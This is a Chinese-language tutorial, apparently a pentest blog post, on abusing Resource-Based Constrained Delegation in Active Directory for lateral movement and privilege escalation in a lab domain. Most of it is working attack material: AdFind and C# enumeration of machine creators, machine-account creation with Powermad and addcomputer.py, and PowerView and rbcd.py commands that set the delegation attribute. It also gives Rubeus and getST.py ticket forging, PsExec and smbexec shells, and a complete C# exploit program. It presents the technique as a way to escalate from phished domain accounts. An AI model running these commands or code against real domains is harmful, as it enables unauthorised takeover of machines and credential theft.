0x00 前言

基于资源的约束委派(RBCD)是在 Windows Server 2012 中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD 把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来设置 RBCD。

那么谁有权限配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性

  • 将机器加入域的账号,也就是 mS-DS-CreatorSID 属性中的账户
  • 机器账户自身也可以修改

利用基于资源的约束委派(RBCD)需要2个条件:

1.拥有将域机器加入域的域用户的权限。(将机器加入域的域用户拥有修改该机器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限。)

2.一个任意服务账户或者一个机器账户(每一个域用户都可以添加 10 个机器账户,添加的机器账户默认会注册 spn 服务)

0x01 横向

1.1.环境说明

主机 机器名 ip
域控 dc.test.local 192.168.247.8
域内win10(已控) win10.test.local 192.168.247.10
域内win2012(目标) win2012.test.local 192.168.247.11

1.2.信息收集

  • 通过 ADFind 查找将域机器拉入域的用户的 SID:
1
AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

img

可以发现WIN10WIN2012mS-DS-CreatorSID值是相同的,说明他们是用的同一个域账号进行加域操作的。同时显示mS-DS-CreatorSID值为空说明他们是使用的域管账号进行加域操作的。

  • 查看SID对应的域账号
1
AdFind.exe -b "DC=test,DC=local" -f "(&(objectsid=S-1-5-21-3289781467-4043238699-2345174683-2603))" objectclass cn dn

img

发现对应的域账号即当前我们获取的域账号权限。

同样上面的信息收集可以通过一个程序一步到位,代码来自:微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)

.NET 实现在域内查询计算机”mS-DS-CreatorSID”属性的工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=test,dc=local");
DirectorySearcher search = new DirectorySearcher(ldap_conn);
String query = "(&(objectClass=computer))";//查找计算机
search.Filter = query;
foreach (SearchResult r in search.FindAll())
{
String mS_DS_CreatorSID="";
String computername = "";
try
{
computername = r.Properties["dNSHostName"][0].ToString();

mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
//Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
}
catch
{
;
}
//再通过sid找用户名
String UserQuery = "(&(objectClass=user))";
DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
search2.Filter = UserQuery;

foreach (SearchResult u in search2.FindAll())
{
String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();


if (user_sid == mS_DS_CreatorSID) {
//Console.WriteLine("debug");
String username = u.Properties["name"][0].ToString();
Console.WriteLine("[*] [{0}] -> creator [{1}]",computername, username);
}
}

}
}
}
}

这样就可以直接看到域内的主机是通过哪个域账号进行的加域操作。

img

1.3.创建机器用户

默认域控的 ms-DS-MachineAccountQuota 属性设置允许所有域用户向一个域添加最多 10 个计算机账户;

同时使用域账户创建或加入域的机器账户自动注册 SPN 变为服务账户。

所以我们创建了一个机器用户就相当于拥有了服务账户。

  • Powermad

可以使用Powermad

1
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\adduser\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount -MachineAccount evilpc -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)}"

img

可以看到成功添加了机器用户evilpc$

1
setspn.exe -q */*

img

同时注册了spn服务。

  • addcomputer.py

使用impacket套件中的addcomputer.py添加(无需在域内,只需要拥有一个域账号和网络通即可)。

1
python3 addcomputer.py -dc-ip 192.168.247.8 -computer-name evilpc2 -computer-pass 123456 "test.local/adduser:1qaz@WSX"

img

img

1.4.配置基于资源的约束委派

powerview.ps1(Empire)

查询添加机器的SID

1
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer -Identity evilpc -Properties objectsid}"

img

配置基于资源的约束委派

修改SID为添加用户的SID,修改Get-DomainComputer后面跟目标主机名。

1
2
3
4
5
6
7
8
Import-Module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3289781467-4043238699-2345174683-2606)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer WIN2012| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

在非交互的情况下可以将如下代码保存为 rbcd.ps1

1
2
3
4
5
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3289781467-4043238699-2345174683-2606)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Import-Module C:\Users\adduser\Desktop\powerview.ps1
Get-DomainComputer WIN2012 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
1
powershell -ExecutionPolicy bypass -File ./rbcd.ps1

img

检查是否配置成功

1
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer WIN2012 -Properties msds-allowedtoactonbehalfofotheridentity}"

img

攻击完成清除基于资源的约束委派配置:

1
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Set-DomainObject WIN2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose}"
rbcd.py

https://github.com/tothi/rbcd-attack,依赖impacket,域外一步到位。

1
python3 rbcd.py -f EVILPC2 -t WIN2012 -dc-ip 192.168.247.8 test\\adduser:1qaz@WSX

img

1.5.获取票据

Rubeus(1.4.2)

Rubeus1.4.2需要依赖.net3.5。

1
Rubeus.exe hash /user:evilpc /password:1qaz@WSX /domain:test.local

img

我尝试从网上下载Rubeus.exe2.0发现s4u失败了,1.4.2版本没问题。

1
Rubeus.exe s4u /user:evilpc$ /rc4:161CFF084477FE596A5DB81874498A24 /impersonateuser:administrator /msdsspn:cifs/WIN2012 /ptt

img

再申请一个host服务的票据

1
Rubeus.exe s4u /user:evilpc$ /rc4:161CFF084477FE596A5DB81874498A24 /impersonateuser:administrator /msdsspn:cifs/WIN2012 /ptt
1
PsExec.exe \\WIN2012 cmd.exe

img

getST.py

在域外且有域账号的情况下。

1
2
3
4
python3 getST.py -dc-ip 192.168.247.8 -spn cifs/WIN2012.test.local -impersonate administrator test.local/evilpc2$:123456
export KRB5CCNAME=`pwd`/administrator.ccache
klist
python3 smbexec.py -no-pass -k WIN2012.test.local

img

0x02 提权

2.1.场景说明

在我们做社工钓鱼的时候经常会上线一些域账号,但是这些域用户没有在本地管理员组里面,我们是没有去抓密码啥的。所以就需要提权。

前提条件:上线的域账号为该机器加入域用到的域账号

img

2.2.利用RBCD进行提权

这里就利用RBCD进行提权,可以用以下代码实现 RBCD 创建机器账户和配置基于资源的约束委派的全过程。

代码来自:微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
using System;
using System.Text;
using System.Security.AccessControl;
using System.S ecurity.Principal;
using System.Net;
using System.DirectoryServices;
namespace Addnew_MachineAccount
{
class Program
{
static void Main(string[] args)
{
String DomainController = "192.168.247.8";
String Domain = "test.local";
String new_MachineAccount = "testpc1"; //添加的机器账户
String new_MachineAccount_password = "123456"; //机器账户密码
String victimcomputer = "WIN10"; //需要进行提权的机器
String victimcomputer_ldap_path = "LDAP://CN=WIN10,CN=Computers,DC=test,DC=local";
String machine_account = new_MachineAccount;
String sam_account = machine_account + "$";

String distinguished_name = "";
String[] DC_array = null;
distinguished_name = "CN=" + machine_account + ",CN=Computers";
DC_array = Domain.Split('.');
foreach (String DC in DC_array)
{
distinguished_name += ",DC=" + DC;
}
Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
Console.WriteLine("[+] Domain = " + Domain);
Console.WriteLine("[+] Domain Controller = " + DomainController);
//Console.WriteLine("[+] New SAMAccountName = " + sam_account);
//Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
//连接ldap
System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
//NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
System.DirectoryServices.Protocols.LdapConnection connection = null;
//connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
connection.SessionOptions.Sealing = true;
connection.SessionOptions.Signing = true;
connection.Bind();
var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)
});
try
{
//添加机器账户
connection.SendRequest(request);
Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");
}
catch (System.Exception ex)
{
Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
Console.WriteLine("[-] Exception: " + ex.Message);
return;
}
// 获取新计算机对象的SID
var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
SecurityIdentifier sid = null;
foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
{
try
{
sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
}
catch
{
Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
return;
}
}
//设置资源约束委派
System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("test.local");
myldapConnection.Path = victimcomputer_ldap_path;
myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
//通过ldap找计算机
search.Filter = "(CN=" + victimcomputer + ")";
string[] requiredProperties = new string[] { "samaccountname" };
foreach (String property in requiredProperties)
search.PropertiesToLoad.Add(property);
System.DirectoryServices.SearchResult result = null;
try
{
result = search.FindOne();
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message + "Exiting...");
return;
}
if (result != null)
{
System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
byte[] descriptor_buffer = new byte[sd.BinaryLength];
sd.GetBinaryForm(descriptor_buffer, 0);
// 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
try
{
entryToUpdate.CommitChanges();//提交更改
Console.WriteLine("[+] Exploit successfully!");
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine("[!] \nFailed...");
return;
}
}
}
}
}

img

impacket 套件中的 getST.py 申请票据,导入票据执行命令

1
2
3
python3 getST.py -dc-ip 192.168.247.8 test.local/testpc1\$:123456 -spn cifs/WIN10.test.local -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k WIN10.test.local

img

system权限上线就可以愉快的执行mimikatz了。

img

0x03 其他攻击场景

  • 一个公司可能会有一个专门用来加域的账号,虽然这个账户通常只有普通域用户权限,但是如果我们控制了这个账户那么就可以打下一大批机器。
  • 如果我们想拿域内机器A的权限,如果我们又没有机器A administrators 组成员凭据的话还可以看机器A是通过哪个用户加入域的,控制了这个用户依然可以获取权限。
  • 一个域用户X 可能会在域中创建多台机器(比如笔记本和台式机都需要加入域),当我们有了域用户X的权限时,可以利用rbcd继续攻击其他mS-DS-CreatorSID是域用户X的机器。

0x04 参考链接

https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw

https://mp.weixin.qq.com/s/rXqSfjTFUQJsirkhi1hmHQ

https://daiker.gitbook.io/

https://www.cnblogs.com/car7n/p/14789004.html

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://xz.aliyun.com/t/8690#toc-73